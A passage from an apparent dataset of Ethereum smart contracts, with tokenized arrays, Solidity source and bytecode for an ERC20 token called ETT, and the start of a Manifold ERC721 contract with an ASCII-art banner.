8278,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
24096,
1063,
3853,
4713,
1006,
1007,
6327,
5760,
5651,
1006,
4769,
1007,
1025,
3853,
4954,
2232,
1006,
1007,
6327,
5760,
5651,
1006,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,450 | 0x952b65d976e8669c4ce92a17cce5b2586912adb5 | pragma solidity ^0.4.4;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ETT is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //token名称: ETT
uint8 public decimals; //小数位
string public symbol; //标识
string public version = 'H0.1'; //版本号
function ETT(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) {
balances[msg.sender] = _initialAmount; // 合约发布者的余额是发行数量
totalSupply = _initialAmount; // 发行量
name = _tokenName; // token名称
decimals = _decimalUnits; // token小数位
symbol = _tokenSymbol; // token标识
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 0x6080604052600436106100955763ffffffff60e060020a60003504166306fdde0381146100a7578063095ea7b31461013157806318160ddd1461016957806323b872dd14610190578063313ce567146101ba57806354fd4d50146101e557806370a08231146101fa57806395d89b411461021b578063a9059cbb14610230578063cae9ca5114610254578063dd62ed3e146102bd575b3480156100a157600080fd5b50600080fd5b3480156100b357600080fd5b506100bc6102e4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f65781810151838201526020016100de565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013d57600080fd5b50610155600160a060020a0360043516602435610372565b604080519115158252519081900360200190f35b34801561017557600080fd5b5061017e6103d9565b60408051918252519081900360200190f35b34801561019c57600080fd5b50610155600160a060020a03600435811690602435166044356103df565b3480156101c657600080fd5b506101cf6104ca565b6040805160ff9092168252519081900360200190f35b3480156101f157600080fd5b506100bc6104d3565b34801561020657600080fd5b5061017e600160a060020a036004351661052e565b34801561022757600080fd5b506100bc610549565b34801561023c57600080fd5b50610155600160a060020a03600435166024356105a4565b34801561026057600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610155948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061063b9650505050505050565b3480156102c957600080fd5b5061017e600160a060020a03600435811690602435166107d6565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561036a5780601f1061033f5761010080835404028352916020019161036a565b820191906000526020600020905b81548152906001019060200180831161034d57829003601f168201915b505050505081565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60025481565b600160a060020a038316600090815260208190526040812054821180159061042a5750600160a060020a03841660009081526001602090815260408083203384529091529020548211155b80156104365750600082115b156104bf57600160a060020a0380841660008181526020818152604080832080548801905593881680835284832080548890039055600182528483203384528252918490208054879003905583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060016104c3565b5060005b9392505050565b60045460ff1681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561036a5780601f1061033f5761010080835404028352916020019161036a565b600160a060020a031660009081526020819052604090205490565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561036a5780601f1061033f5761010080835404028352916020019161036a565b3360009081526020819052604081205482118015906105c35750600082115b15610633573360008181526020818152604080832080548790039055600160a060020a03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060016103d3565b5060006103d3565b336000818152600160209081526040808320600160a060020a038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a383600160a060020a031660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e019050604051809103902060e060020a9004338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a03168152602001828051906020019080838360005b8381101561077b578181015183820152602001610763565b50505050905090810190601f1680156107a85780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af19250505015156107cc57600080fd5b5060019392505050565b600160a060020a039182166000908152600160209081526040808320939094168252919091522054905600a165627a7a72305820bd8431580ae3b1c50d6a226f54b84157bac1e3761a4338a3bf5cd9b3331a5f8c0029 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
25746,
2497,
26187,
2094,
2683,
2581,
2575,
2063,
20842,
2575,
2683,
2278,
2549,
3401,
2683,
2475,
27717,
2581,
9468,
2063,
2629,
2497,
17788,
20842,
2683,
12521,
4215,
2497,
2629,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
1018,
1025,
3206,
19204,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
4425,
1007,
1063,
1065,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1063,
1065,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
1065,
3853,
4651,
19699,
5358,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,451 | 0x952b97a9e46e9e3031d5e404f2835b657db83b31 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Contemporary Universal Matter
/// @author: manifold.xyz
import "./ERC721Creator.sol";
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWNNNNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0kdoc:;,''.',;co0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOdc,.. .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOo;. ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOl'. ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXd,. .':, .:: ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo' .,lx0XO' .oNXc ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx' .:d0NMMWk. .xWMMK: ,0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0: .;dKWMMMMWx. 'ckWMMMMK; ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx. .lONMMMMMMNd. 'xKK0Okkxx:. ,ONWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNl. .lKWMMMMMMMNo. ..... .';ldONWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXl ,OWMMMMMMMMNl. ':xKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNl :KMMMMMMMMMXc .;dKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWx. ;KMMMMMMMMMK: ...,:ldxkOOOOl. .:kNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0, '0MMMMMMMMMK; .cd0KXWMMMMMMMMMNd. ,,. ;kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWo .xWMMMMMMMM0, .oKWMMMMMMMMMMMMMMMNl ,kOc. .cKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK, :XMMMMMMMWO' ;0WMMMMMMMMMMMMMMMWXk:. ,0WKl. 'kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMk. .xMMMMMMMWk. .OMMMMMMMMMMMMMMMWO:. ,0MWO; .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMx. ,KMMMMMMWx. '0MMMMMMMMMMMMMMMMk. ,0WMXc .OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMx. cNMMMMMNd. .xWMMMMMMMMMMMMMMM0' .. ,0MMXc :XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMx. oWMMMMNo. .c: 'kWMMMMMMMMMMMMMNo. oO' ,0MM0' .xMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMx. oWMMMXl. .dNx. .l0WMMMMMMMMMNO:. ,0Wk. ,0MWo cNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMO' ;XMMXc .xWMX: .,ldxkkkxdc,. .xWMWk. ,0Wk. ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX: .xWK: 'OWMMMK: 'kWMMMWx. ,Ok. ,KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWx. 'o; .:cclll:. 'oKNWWWWMNd. ,c. ,KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX: .',,,;;;::;. cNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMO' .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk. :XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk' .'''.................................... . '0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0; ,xKNNNNNNXXXXXXXXXXXXXXKKKKKKKKKKKK0000000000Oo' 'OWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo. ,dKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOl. ;0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c. .:dKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWN0xc' .oXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c. .,lkKNWMMMMMMMMMMMMMMMMMMMWNKko:'. ;OWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKo, .':ldkO0KXXXXXXKK0kxoc;'. ,xNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOl' .......... .;xXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOl,. .':d0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKxl;. ..,:ox0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOxoc;,''....''',,;:cldxO0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWNNNNNNNNNWWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
